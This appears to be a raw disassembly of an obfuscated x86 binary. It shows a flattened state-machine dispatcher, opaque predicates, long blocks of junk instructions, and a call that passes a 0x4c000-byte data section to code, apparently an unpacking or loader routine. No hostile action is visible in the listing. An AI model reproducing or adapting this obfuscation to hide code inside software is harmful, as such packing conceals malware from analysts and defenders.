mov ecx, 0x86d48412
jmp 0x41142a
cmp eax, 0x793c5c8c
jg 0x405cc2
cmp eax, 0x77eea687
jg 0x407456
cmp eax, 0x7740ca4d
je 0x40adf4
cmp eax, 0x77564dd6
je 0x40ae0a
cmp eax, 0x77ad1efb
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x9a843320
and edi, 0x657bccde
and edx, 0x40c1ddb7
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xbf3e2248
mov ebx, esi
not ebx
and esi, 0x657bccdf
or eax, edx
or ecx, ebx
and ebx, 0x9a843320
mov edx, eax
xor edx, 0xbf3e2248
xor eax, 0x40c1ddb7
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0xaf28bdf6
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne dl
sete cl
cmp dword [0x497380], 0xa
setge al
setl ch
mov ah, al
and dl, ch
xor ah, cl
and ah, al
and al, cl
xor cl, ch
or al, dl
xor ah, 1
mov ch, cl
xor al, 1
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor ch, al
and al, cl
and ch, cl
xor cl, 1
not dl
and dl, cl
mov cl, ch
or al, dl
mov edx, 0x33e4458c
jmp 0x40fc95
cmp eax, 0x9b2a3168
jg 0x405e15
cmp eax, 0x9818b709
jg 0x40748a
cmp eax, 0x96d189e9
je 0x40af40
cmp eax, 0x9778fa54
je 0x40af4a
cmp eax, 0x97f9418f
jne 0x402780
mov dword [ebp - 0xec], 0
mov eax, 0x62aa3ab3
jmp 0x402780
cmp eax, 0x14fadd79
jg 0x405e4b
cmp eax, 0x147a1017
jg 0x4074b5
cmp eax, 0x118cb4c6
je 0x40b07f
cmp eax, 0x1274a1e7
je 0x40b089
cmp eax, 0x13a15e92
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xf825832
mov esi, edx
and esi, 0x70588308
and edx, 0x6adcf760
or ecx, esi
mov esi, eax
xor esi, 0x7fdadb3a
and esi, eax
xor ecx, 0xf825832
and eax, 0x9523089f
or ecx, esi
not esi
or eax, edx
and esi, 0x802524c4
and ecx, 0x7fdadb3b
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x7f4ee777
mov esi, edx
and esi, 0x80b11888
or ecx, esi
mov esi, eax
xor esi, 0x15020017
xor eax, 0x901000
and eax, 0x80b11888
and esi, 0x7f4ee777
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x806b2be3
setne dl
sete ch
cmp dword [0x497380], 0xa
mov eax, edx
setl ah
setge cl
inc al
and al, cl
and dl, ah
or ah, ch
and cl, ch
xor ah, 1
or cl, dl
or al, dl
or cl, ah
xor al, 1
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
or dl, ah
xor dl, 1
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xdcdd19a4
cmovne edx, esi
test al, 1
mov eax, 0xdcdd19a4
jmp 0x411ce1
cmp eax, 0xdaa3ec7d
jg 0x405f78
cmp eax, 0xd7c813ed
jg 0x4074e0
cmp eax, 0xd5a2006e
je 0x40b093
cmp eax, 0xd603c363
je 0x40b09d
cmp eax, 0xd7901b9f
jne 0x402780
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x18c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xbc]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, 0xbb803870
jmp 0x402780
cmp eax, 0x585551f9
jg 0x4060ad
cmp eax, 0x56f8b4c5
jg 0x40758b
cmp eax, 0x558cd83a
je 0x40b0b0
cmp eax, 0x5657e359
je 0x40b0ba
cmp eax, 0x56d1596c
jne 0x402780
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
not esi
not edi
rcl edx, 0x88
sbb eax, 0x32
imul ebx
dec edi
rcr edx, 0xbe
rcl ebx, 0x6c
neg esi
dec edi
inc eax
rcl edi, 0x14
or edi, 9
bswap esi
not eax
imul esi
sbb edx, 0x6b
inc edx
ror edx, 0xa2
neg eax
dec edi
dec esi
sbb edx, 0x6d
mov edx, 0xaa
not edx
mov edx, 0xb8
neg eax
imul edi
or eax, 0x4c
dec ebx
and edi, 0xb6
rcr eax, 0xb7
sbb edx, 0x71
add edx, 0xe4
or esi, 0x18
or edi, 0xc4
or eax, 0xaf
neg eax
or edx, 0xd8
sub eax, 0xa7
inc edi
neg esi
inc eax
dec edi
bswap edi
dec edx
ror esi, 0x1d
bswap ebx
inc edx
bswap ebx
add edx, 0x52
not edi
mov edx, 0x7c
bswap ebx
bswap esi
and eax, 0x25
inc edi
rol eax, 0xa2
inc eax
and edi, 0xb
ror esi, 0x4f
dec ebx
rcl eax, 0xac
dec edi
rcl edi, 0xd
rcl edx, 0xf5
and esi, 0xf6
imul edi
bswap ebx
not ebx
dec eax
or eax, 0x90
inc eax
dec ebx
imul esi
dec edx
inc edi
or eax, 0xce
bswap esi
neg eax
rcr ebx, 0xdc
mov ebx, 0xe6
mov ebx, 0x4a
add edx, 0x32
inc esi
sbb edx, 0x7f
bswap ebx
add ebx, 0x6e
imul edi
neg ebx
rcr edi, 0x2c
sbb edi, 2
rcr edx, 0xcb
dec edx
ror esi, 0xcc
rcl eax, 0xda
mov eax, 6
and edx, 0x4f
neg edx
sub ebx, 0x16
rol edx, 0x59
neg edi
and ebx, 0x97
rcr edx, 0x6b
sbb edi, 0xb6
rol esi, 0xad
sub esi, 1
not eax
dec ebx
mov eax, 0xd5
dec edx
imul esi
dec edi
not esi
bswap eax
sbb edi, 0x97
or eax, 0x7e
not edi
inc edx
not esi
ror ebx, 0xa
ror edx, 0xfb
add esi, 0xab
dec eax
rol edx, 0x79
sbb eax, 0x31
and ebx, 0xa7
bswap edx
mov edx, 0x79
rol eax, 0x5e
not edx
bswap eax
add edi, 0xd1
imul edx
inc edx
rol eax, 0x44
rcl edx, 0xa8
neg eax
rol eax, 0x73
or esi, 0x38
sub edi, 0xf8
bswap eax
add eax, 0xb1
and edi, 0x2b
sub edx, 0xdd
dec edi
neg esi
not eax
neg edi
inc esi
rcl ebx, 0x4d
not edx
mov ebx, 0x3c
sub ebx, 0x2b
dec edx
rcl eax, 0x38
neg eax
rol esi, 0x4f
rol esi, 0xb2
add edx, 0x4b
not esi
and eax, 0x4f
rol eax, 0xf0
inc eax
bswap esi
inc edx
mov esi, 0x8d
rol edx, 0xad
add edx, 0x4f
add edi, 0x2b
not edi
inc edx
sub esi, 0xb1
and esi, 0x49
rcl ebx, 0x1e
sbb ebx, 0xb3
imul edx
rcl edx, 0x93
mov edx, 0x18
dec ebx
rol eax, 0xe8
ror eax, 0xbc
sbb eax, 0xe7
and ebx, 0xdb
not edi
imul ebx
rcl edi, 0xb4
dec edx
sbb edx, 0xea
rol eax, 0x17
inc edi
or esi, 0x1f
or edx, 0x39
sbb edi, 7
inc esi
not eax
ror eax, 0xca
neg eax
rcr ebx, 0x9d
imul esi
rol esi, 0x55
add eax, 0x88
sub ebx, 0x1d
inc edi
rcl edx, 0x60
and edx, 0x1d
dec edx
dec edx
rol eax, 0x26
neg edi
dec eax
ror esi, 0xd4
dec ebx
mov edi, 0x2a
rcl ebx, 0xfb
rol esi, 0x64
dec edx
neg esi
not edi
not esi
neg esi
rcr edi, 0x4d
mov ebx, 0x25
sbb eax, 0x32
and esi, 0x63
rcr ebx, 0xad
inc eax
imul eax
inc edx
sub esi, 0x56
rcl eax, 0xa4
rcr edx, 0xbe
bswap ebx
bswap esi
add esi, 0x92
ror edi, 0xd8
ror ebx, 0xb7
mov esi, 0x45
or eax, 0x79
neg esi
rcr edx, 0xbc
sbb eax, 0x73
bswap edx
sbb edi, 0x54
neg ebx
not edx
or eax, 0x1d
neg edi
sbb edi, 0x62
imul edx
imul edi
and edx, 0x11
or esi, 0x25
or edi, 0x5b
sub eax, 0x1d
or edi, 0xdd
neg edx
sub edx, 0x54
sbb eax, 0x99
rol edx, 0xb7
sbb esi, 0x43
rcl esi, 0xf9
neg eax
inc edi
neg edx
ror edi, 0x3f
neg esi
ror eax, 0x10
ror eax, 0xfc
rol ebx, 0xe3
bswap ebx
and eax, 0xa1
sbb esi, 0x5c
or eax, 0xc5
neg esi
rcr edx, 0x44
sbb ebx, 0x52
rol eax, 0xb4
add edi, 0x64
ror ebx, 0x79
imul edi
ror esi, 0xe8
inc ebx
dec edi
rol edi, 0x97
neg esi
rcl edi, 0x99
rcl edi, 0xe1
and edi, 0x4e
sbb esi, 0xda
sub edx, 0x81
imul edi
bswap ebx
bswap edx
rcr ebx, 0x14
rcl edx, 0x72
not eax
mov eax, 0xf1
bswap esi
rol edi, 0x23
sbb edi, 0xf1
dec edx
neg edx
not esi
bswap edx
not ebx
neg esi
dec edi
or edx, 0x1b
add ebx, 0x68
bswap edi
not edx
and esi, 0xa2
add edi, 0xf9
bswap esi
or eax, 0xe8
and eax, 0xf4
neg edx
add ebx, 0x79
and edx, 0xc1
rcr edx, 8
ror edx, 0xc0
ror eax, 0x24
bswap edx
rcl edx, 0xbc
neg esi
rcl esi, 0x74
bswap eax
rol edi, 0xba
dec esi
dec edi
imul edi
inc ebx
ror edi, 0xe4
bswap esi
imul eax
imul ebx
dec edx
add ebx, 0x59
not esi
ror edi, 0x33
bswap ebx
inc esi
sub ebx, 0x10
inc ebx
or eax, 0x69
dec eax
add edi, 0xdd
add edx, 7
and edi, 0x9b
inc edx
dec eax
rcl esi, 0x7c
sbb eax, 0xf5
mov esi, 0x51
add eax, 0
dec edi
rcl edx, 0x63
rcr edi, 0x5e
imul edi
rcl ebx, 0x29
dec edx
sbb edi, 0x53
inc ebx
bswap esi
dec eax
inc ebx
rcr ebx, 0xb0
dec edi
mov esi, 0xf9
inc esi
not ebx
rol edx, 0x59
sub ebx, 0x29
bswap eax
not esi
or eax, 0xc6
mov esi, 0x12
add esi, 0x20
neg ebx
mov ebx, 0x7a
neg edx
bswap edi
bswap eax
bswap edx
and ebx, 0xf
and edi, 0xd9
sbb ebx, 0x59
dec esi
sub esi, 0x1b
sbb esi, 0xc2
inc edi
inc esi
bswap edx
imul ebx
rol edi, 0xce
dec edx
imul edi
bswap edi
not edi
bswap esi
dec eax
dec edi
imul eax
bswap esi
rcl esi, 0xaa
sbb edx, 0xe
inc ebx
and ebx, 0x57
or esi, 0x22
not ebx
sub edi, 0xbe
neg eax
rcl edi, 0x45
inc esi
neg eax
and edi, 0xd7
or ebx, 0xf4
mov edi, 0xab
rcr esi, 0x32
inc edi
imul esi
bswap eax
not eax
mov eax, 0xe8
inc ebx
rcr esi, 0xdb
rcr edx, 0xcb
neg edi
rcr ebx, 0x23
sub edi, 1
imul ebx
sub eax, 0xb0
bswap edx
inc esi
sub edx, 0x2d
and ebx, 0x44
dec eax
or ebx, 0x62
mov eax, 0x56
sub esi, 0x12
mov eax, 0xc0
sbb edx, 0x63
add ebx, 0x40
rol esi, 0x8d
bswap ebx
bswap edi
or esi, 0x9b
inc edx
sbb esi, 0xe7
sbb ebx, 0x7c
rcr eax, 0x2c
rol eax, 0x2c
neg edx
imul edi
rcr ebx, 0x52
mov edi, 0x8e
rcr edi, 0x5f
not ebx
inc edx
add esi, 0xa7
ror eax, 0x6f
ror edi, 0xe0
ror edx, 0x6b
rcl edx, 0x7c
not edi
ror ebx, 8
ror edi, 0x79
add esi, 0x59
sub eax, 0x57
imul esi
mov edx, 0xb5
and eax, 0x64
rcr edx, 0xd4
bswap ebx
ror edi, 0xff
neg esi
rol edx, 0
not esi
imul eax
bswap edi
and esi, 0x3a
imul esi
dec edi
rcl edi, 0xa3
imul esi
or esi, 0x78
dec esi
rcr edx, 0x96
not eax
mov eax, 0x18
bswap ebx
inc edi
neg esi
bswap edx
rcr ebx, 0x58
rol edi, 0x69
dec esi
dec edx
bswap eax
mov eax, 0xf9
sbb esi, 0x2f
inc edi
inc edx
ror eax, 0x17
imul ebx
not eax
sbb esi, 0x17
mov eax, 0xc4
imul edi
bswap edi
rcl edx, 0xab
inc esi
mov edx, 0x89
rcr edx, 0xaf
inc ebx
dec edx
not eax
inc edx
dec edi
neg ebx
dec ebx
rcl edx, 0x69
add eax, 0xc6
inc esi
imul edi
mov edx, 0xba
or esi, 0x9c
add ebx, 0x86
dec eax
neg eax
imul esi
bswap eax
not ebx
neg ebx
dec eax
dec ebx
neg edx
inc esi
imul eax
inc ebx
sbb edi, 0x2b
or ebx, 0xb0
bswap esi
rcl eax, 0x7a
and edx, 0x11
inc esi
ror edx, 0x56
inc edx
bswap eax
neg edx
rcr edx, 0xea
add ebx, 0x30
rol esi, 0x8b
sub eax, 0xe4
inc edx
neg edi
ror eax, 0x82
mov edx, 0x73
mov ebx, 0xeb
bswap eax
imul eax
add esi, 0x94
dec edx
rol edi, 0x3d
ror esi, 0x14
imul edx
and edx, 0x82
not esi
rcl esi, 0x7c
imul edx
rol edx, 0x2c
rcl esi, 0x41
not esi
bswap esi
and edi, 0xbf
bswap ebx
imul edx
inc esi
and edi, 0x2d
ror edi, 0xa5
and eax, 0xb6
neg esi
inc edi
add edx, 0x90
not edi
sbb eax, 0xca
dec edx
rol esi, 4
add eax, 0xe0
imul eax
bswap esi
bswap ebx
sub ebx, 0xd1
sbb edi, 0xe3
not eax
rol eax, 0x3f
bswap esi
inc ebx
imul edx
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
push 0x4c000
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x4c]
mov dword [eax], section..data
mov eax, 0x78
and eax, 0x2b
sbb eax, 0x77
mov ebx, 0xed
add esi, 0x9f
inc edi
mov esi, 0xf4
not eax
or edi, 0xdf
bswap esi
inc esi
or ebx, 0x29
rol edx, 0x4e
bswap esi
inc edx
and esi, 0x16
rcr ebx, 0xe9
not esi
dec edx
inc esi
rcr edx, 0xf4
ror edi, 0x3a
imul edi
mov ebx, 0xc7
ror edi, 0xba
neg edx
imul eax
rol edi, 0x7a
and edi, 0xa1
neg edi
bswap eax
not edx
sub ebx, 0x58
dec edi
dec esi
ror eax, 0x4e
dec esi
neg ebx
not eax
add ebx, 0xff
not edi
mov edx, 0x37
and ebx, 8
dec esi
inc edi
mov eax, 0x64
or esi, 0x7b
rcr edx, 0x85
or ebx, 0x63
not ebx
rol edx, 5
not esi
neg edi
mov edi, 0x15
imul edx
add ebx, 0x9b
dec edx
and edx, 0x2c
inc esi
rcr edi, 0xd4
imul edi
add esi, 0x6b
rcl edi, 0x92
or edx, 0xfb
rcl edi, 0x90
rcr ebx, 0x2b
rcl ebx, 0xa4
and ebx, 0xa2
sbb edi, 0x88
not esi
sbb esi, 0x4d
rcr esi, 0xe6
or eax, 0xbd
rol edi, 0x5f
add ebx, 0xaa
rcr ebx, 0x81
sub edx, 6
rol esi, 0xc9
neg edi
neg edi
add ebx, 0x88
bswap ebx
neg ebx
and ebx, 0x2c
not esi
imul edi
sbb ebx, 0x80
dec ebx
dec eax
or ebx, 0xd5
rcl ebx, 0x25
and edx, 0xb3
neg ebx
imul edi
inc esi
not esi
rcl eax, 0x3e
not eax
and esi, 0x66
neg edi
dec edx
ror ebx, 0x8b
not eax
imul edx
dec edi
not ebx
sbb edx, 0x50
not edi
neg eax
not edx
neg edx
mov edi, 0xf1
neg esi
add ebx, 0x80
rol ebx, 0xf4
dec eax
neg eax
mov ebx, 0xa3
ror eax, 0x57
not edx
mov eax, 0x7c
dec edx
or ebx, 1
mov edx, 0xee
sub edx, 0xe8
imul ebx
not ebx
sub esi, 0xbb
sub edi, 0xe7
dec edi
bswap edi
sub ebx, 0x39
inc edx
add ebx, 0xbd
dec esi
ror eax, 0x11
dec esi
not edi
dec edi
rcl edx, 0x2c
bswap ebx
not edx
sbb esi, 1
inc edi
neg esi
rcl edx, 0x6a
imul edi
dec edi
or esi, 0x31
dec edi
bswap edi
rol esi, 0x5c
add ebx, 0xf7
inc edx
bswap edi
dec ebx
and eax, 0x72
and edx, 0xa2
not ebx
inc edi
sub ebx, 0x27
rcr edi, 0x39
not eax
bswap edi
or edi, 0x98
not edx
bswap edx
add eax, 0xab
neg edx
or edi, 0x97
sub edi, 0xbb
not eax
rcl ebx, 0x54
rol ebx, 0x18
bswap edx
add edi, 3
or eax, 0x2e
ror edx, 0xe2
not edi
or esi, 0x91
rol ebx, 0xa5
imul edi
sub esi, 0x69
inc edx
not esi
not ebx
add ebx, 4
not esi
rcr edi, 0xdb
or edx, 0x36
add edx, 0x8f
ror ebx, 0x53
rol esi, 0x97
bswap edx
imul edi
inc edi
rcr eax, 0xe4
dec esi
neg esi
inc ebx
sub ebx, 0xd0
rcr edi, 0x70
bswap esi
rcl ebx, 0x75
mov eax, 0x27
and edi, 0x7a
rcl ebx, 0xc0
imul edx
add edi, 4
bswap esi
ror edi, 9
rcr ebx, 0xc4
add edi, 0x84
neg eax
bswap edi
neg esi
neg edx
or eax, 0xe8
rcl eax, 0x38
imul edi
rol eax, 0xc7
add edi, 0xf7
rcl edi, 0xd8
dec ebx
rcr edx, 0xa
or esi, 0x7f
add edx, 0x7e
add eax, 0x3f
inc edx
inc esi
neg edx
dec ebx
ror esi, 8
rcl esi, 0xc
inc eax
inc ebx
neg edx
rcr edi, 0x41
rcl eax, 0xe1
inc edi
sub ebx, 0x1d
rcl ebx, 0x76
neg eax
bswap edi
imul eax
imul edi
bswap eax
inc esi
ror esi, 0xd5
rol edi, 0x9c
rcr edi, 0x17
mov eax, 0x98
rol esi, 0xc5
or esi, 0x19
rcl esi, 0x51
bswap eax
neg edx
bswap edx
not esi
dec eax
dec ebx
ror esi, 0xb6
mov eax, 0xdb
sub eax, 0x90
inc edi
ror esi, 0xa9
imul ebx
ror eax, 0xee
mov edi, 0x88
neg edi
and edx, 0xf3
bswap ebx
add edi, 0x5b
inc ebx
neg esi
sbb edi, 0x68
rol eax, 0x11
rcr edx, 0x74
dec edi
imul ebx
neg ebx
dec esi
rcr eax, 0x55
rcr edi, 2
add eax, 0x67
or eax, 0x31
sbb edx, 0xcb
dec esi
dec esi
imul esi
imul edi
dec ebx
inc edi
sbb ebx, 0xf7
dec esi
or eax, 0x5a
rcl edx, 0x66
add edi, 0x79
add ebx, 0x1d
neg esi
add eax, 0x4e
rcl eax, 0x9b
rcl edi, 0x4f
bswap ebx
inc edx
imul ebx
bswap ebx
imul edi
rcr ebx, 0x19
neg ebx
inc edi
imul edx
not eax
not edi
rcl edx, 0x5d
not edi
rcl edi, 5
not edi
neg eax
neg edi
ror esi, 0x30
dec edx
rcl ebx, 0x3f
bswap eax
and edi, 0x50
imul eax
rcr edx, 0xb4
neg edi
bswap eax
rol esi, 0x40
mov edi, 0x9f
mov esi, 0x74
not edx
imul eax
or edi, 0x81
dec eax
neg edx
add esi, 0x5a
imul esi
sub eax, 0xf8
imul edi
not esi
add ebx, 1
inc eax
sub edx, 0xba
rol edx, 0x71
rcl ebx, 0x39
neg eax
bswap ebx
ror eax, 0x10
mov edx, 0x4c
bswap eax
rol ebx, 0xc6
rol edi, 0x9c
rcl eax, 0x99
add ebx, 0x16
not ebx
rol edi, 0x51
dec esi
bswap eax
add ebx, 0xa1
imul edx
inc ebx
sbb edi, 0x72
and esi, 0x34
bswap esi
inc edx
sbb esi, 0x42
imul ebx
or edx, 0xcb
bswap eax
not eax
not ebx
bswap esi
imul esi
neg edi
bswap edx
bswap edx
inc esi
not ebx
mov edx, 0xdc
sub esi, 0x5a
or edi, 0x92
rcl ebx, 0x35
rol edx, 0x22
neg edx
or esi, 0x4e
neg edi
add esi, 0x23
sub ebx, 0x8a
bswap ebx
sub edi, 0xad
mov edi, 0x5b
not edi
rcr edi, 1
dec edx
imul edi
inc ebx
mov eax, 0x60
imul esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, 0xc0429464
jmp 0x402780
cmp eax, 0xb5d2bfef
jg 0x4075bc
cmp eax, 0xb4d5cd52
je 0x40b268
cmp eax, 0xb5297a4d
je 0x40b27e
cmp eax, 0xb56f0fd6
jne 0x402780
mov eax, dword [ebp - 0xf4]
mov ecx, dword [0x497384]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x160], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x4b970c94
and ecx, 0xb468f36b
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0xb468f36a
xor ecx, 0x4b970c94
xor eax, 0x4b970c95
and eax, ecx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, eax
not edx
and eax, 0xda0dc49d
mov esi, edx
and esi, 0x25f23b62
or eax, esi
mov esi, ecx
not esi
and ecx, 0xda0dc49d
or edx, esi
and esi, 0x25f23b62
or ecx, esi
not edx
mov esi, 0x95122f16
xor ecx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xaceb2ccc
and eax, 0x5314d333
or eax, ecx
xor eax, 0x5314d333
or eax, edx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x497380], 0xa
setge dl
setl ch
mov al, dl
and ch, cl
xor al, ah
xor al, 1
or al, dl
and dl, ah
or dl, ch
mov ah, dl
mov ch, dl
xor ah, 1
mov cl, ah
or ah, al
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
mov dl, ah
xor cl, 1
or cl, ch
xor cl, al
xor dl, cl
test ah, ah
mov eax, 0xab988ecb
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0xab988ecb
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x402780
cmp eax, 0x399d96d6
jg 0x40773d
cmp eax, 0x3775fe6c
je 0x40b29b
cmp eax, 0x392333c4
je 0x40b2a8
cmp eax, 0x39924cb4
jne 0x402780
mov eax, 0x1b7bd620
jmp 0x402780
cmp eax, 0xf6b45a75
jg 0x407859
cmp eax, 0xf5b8fc63
je 0x40b4be
cmp eax, 0xf5e8b9c8
je 0x40b4d7
cmp eax, 0xf6388ef0
jne 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x9be3bc6
and eax, 0x243a6617
mov ecx, esi
and ecx, 0xf641c439
and esi, 0xdbc599e8
or edx, ecx
or eax, esi
mov ecx, edx
not ecx
and edx, 0x4c6730a0
and ecx, 0xb398cf5f
or edx, ecx
mov ecx, edx
xor edx, 0x4c90327
xor ecx, 0xba26f498
mov esi, ecx
and esi, 0x5b1238d0
and edx, 0xa4edc72f
or edx, esi
mov esi, eax
xor esi, 0x24284607
xor eax, 0xdbc599e8
or ecx, eax
and eax, 0x5b1238d0
and esi, 0xa4edc72f
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x7740ca4d
mov eax, ecx
not eax
and ecx, 0x156e56b5
and eax, 0xea91a94a
or ecx, eax
xor ecx, 0x156e56b5
sete dl
setne ah
cmp dword [0x497380], 0xa
setge al
setl ch
mov cl, al
and ch, ah
and cl, dl
xor dl, al
or cl, ch
and dl, al
xor al, ah
mov ah, cl
or al, dl
xor ah, 1
xor al, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, cl
xor dl, al
xor ah, al
or al, cl
xor al, 1
mov ecx, edx
or al, ah
xor cl, al
not cl
test cl, 1
mov ecx, 0x8d0cd795
cmovne ecx, esi
test al, 1
mov eax, 0x8d0cd795
cmovne eax, ecx
jmp 0x411434
cmp eax, 0x623555ad
jg 0x407b42
cmp eax, 0x609b0463
je 0x40b4ea
cmp eax, 0x6138c115
je 0x40b4f4
cmp eax, 0x6139ef6c
jne 0x402780
mov eax, 0xa1651477
jmp 0x402780
cmp eax, 0x83718bf7
jg 0x407b6d
cmp eax, 0x8299c4fa
je 0x40b5dc
cmp eax, 0x82f926fb
je 0x40b5e6
cmp eax, 0x833abb78
jne 0x402780
mov eax, 0xf70dccb0
jmp 0x402780
cmp eax, 0xfefb2afc
jg 0x407b98
cmp eax, 0xfe62fad5
je 0x40b624
cmp eax, 0xfee445ef
je 0x40b773
cmp eax, 0xfeee52a2
jne 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0x43215449
and eax, 0xbcdeabb6
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xbcdeabb6
mov edi, esi
and edi, 0x43215449
or edx, edi
mov edi, 0x2e61ee3
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xfd2c488a
sete ch
setne ah
cmp dword [0x497380], 0xa
setl dl
setge al
mov cl, dl
mov dh, dl
xor dl, ch
and ch, al
or al, ah
not al
and dh, ah
xor cl, ah
or al, dl
or dh, ch
xor cl, 1
not al
or al, dh
mov edx, 0x2e61ee3
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
cmovne edx, edi
test al, al
cmovne edi, edx
test al, cl
mov eax, dword [ebp - 0x78]
cmove edi, edx
cmp byte [eax], 0
mov eax, edi
setne byte [ebp - 0x9a]
jmp 0x402780
cmp eax, 0xc0429463
jg 0x407c9c
cmp eax, 0xbc654a2d
je 0x40b858
cmp eax, 0xbd4d5e87
je 0x40b9fd
cmp eax, 0xbe737468
jne 0x402780
mov ecx, dword [0x497384]
mov edi, 0x4d01f6af
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x33520950
mov ecx, esi
and ecx, 0xccadf6ae
and esi, 0x1d399479
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor edx, 0x33520950
and eax, 0xe2c66b86
or ecx, edx
or eax, esi
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x1b75ca4d
and edx, 0xe48a35b2
or edx, esi
mov esi, eax
xor esi, 0xe0822182
xor eax, 0x1d399479
or ecx, eax
and eax, 0x1b75ca4d
and esi, 0xe48a35b2
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x2492e841
xor ecx, 0xffffffff
setne al
sete dl
cmp dword [0x497380], 0xa
mov ch, al
setge ah
setl cl
inc al
and ch, cl
and al, ah
xor cl, dl
or al, ch
mov ch, ah
xor ch, dl
xor al, 1
and ch, ah
mov edx, eax
or cl, ch
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
mov ecx, 0x4d01f6af
jmp 0x4122dd
cmp eax, 0x4996f895
jg 0x407cde
cmp eax, 0x4886bd29
je 0x40ba16
cmp eax, 0x48982061
je 0x40bb1d
cmp eax, 0x49343f21
jne 0x402780
mov eax, dword [ebp - 0x14]
mov eax, 0x80e05140
jmp 0x402780
cmp eax, 0xa644ecc8
jg 0x407d09
cmp eax, 0xa50c0441
je 0x40bb27
cmp eax, 0xa5eebaa1
je 0x40bbfb
cmp eax, 0xa6426a4c
jne 0x402780
mov eax, dword [ebp - 0xc4]
mov eax, dword [0x497384]
mov esi, 0xfd2c488a
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x5719eb9
and ecx, edx
not edx
and edx, 0x5719eb9
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x11756cb8
and eax, 0xee8a9347
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0xebfb0dfe
xor eax, 0x1404f201
xor edx, 0x1404f200
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x429e78e6
mov edx, eax
and edx, 0x400830a4
and ecx, eax
not eax
and eax, 0x2964842
or edx, eax
xor edx, 0x400830a4
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xac5085a
and eax, 0xf53af7a5
or ecx, eax
mov eax, ecx
xor eax, 0x404360b0
xor ecx, 0x90a08a00
and ecx, 0x98b89a0c
and eax, 0x674765f3
or eax, ecx
mov ecx, eax
xor ecx, 0x404164d2
xor eax, 0x98980208
and eax, 0xbf9e0329
and ecx, 0x4061fcd6
or ecx, eax
mov eax, ecx
xor eax, 0xf9a0229
xor ecx, 0x404178c0
and ecx, 0xf04579c0
and eax, 0xfba863f
or eax, ecx
cmp eax, 0xfba863f
setne cl
cmp dword [0x497380], 0xa
mov ah, cl
setl dl
setge al
or al, cl
xor cl, dl
or ah, dl
not cl
xor ah, 1
and cl, dl
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, 0xfeee52a2
xor dl, al
mov al, ah
xor dl, 1
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xfeee52a2
jmp 0x4120c2
cmp eax, 0x202c7322
jg 0x407ee9
cmp eax, 0x1e399b37
je 0x40bc13
cmp eax, 0x1e9da749
je 0x40bc1d
cmp eax, 0x1ec49f50
jne 0x402780
cmp byte [ebp - 0x95], 0
mov eax, 0x713c79e7
mov ecx, 0x26f30897
cmovne eax, ecx
jmp 0x402780
cmp eax, 0xe71b4105
jg 0x407ffc
cmp eax, 0xe6686dcb
je 0x40bc39
cmp eax, 0xe6a731eb
je 0x40bd35
cmp eax, 0xe704754f
jne 0x402780
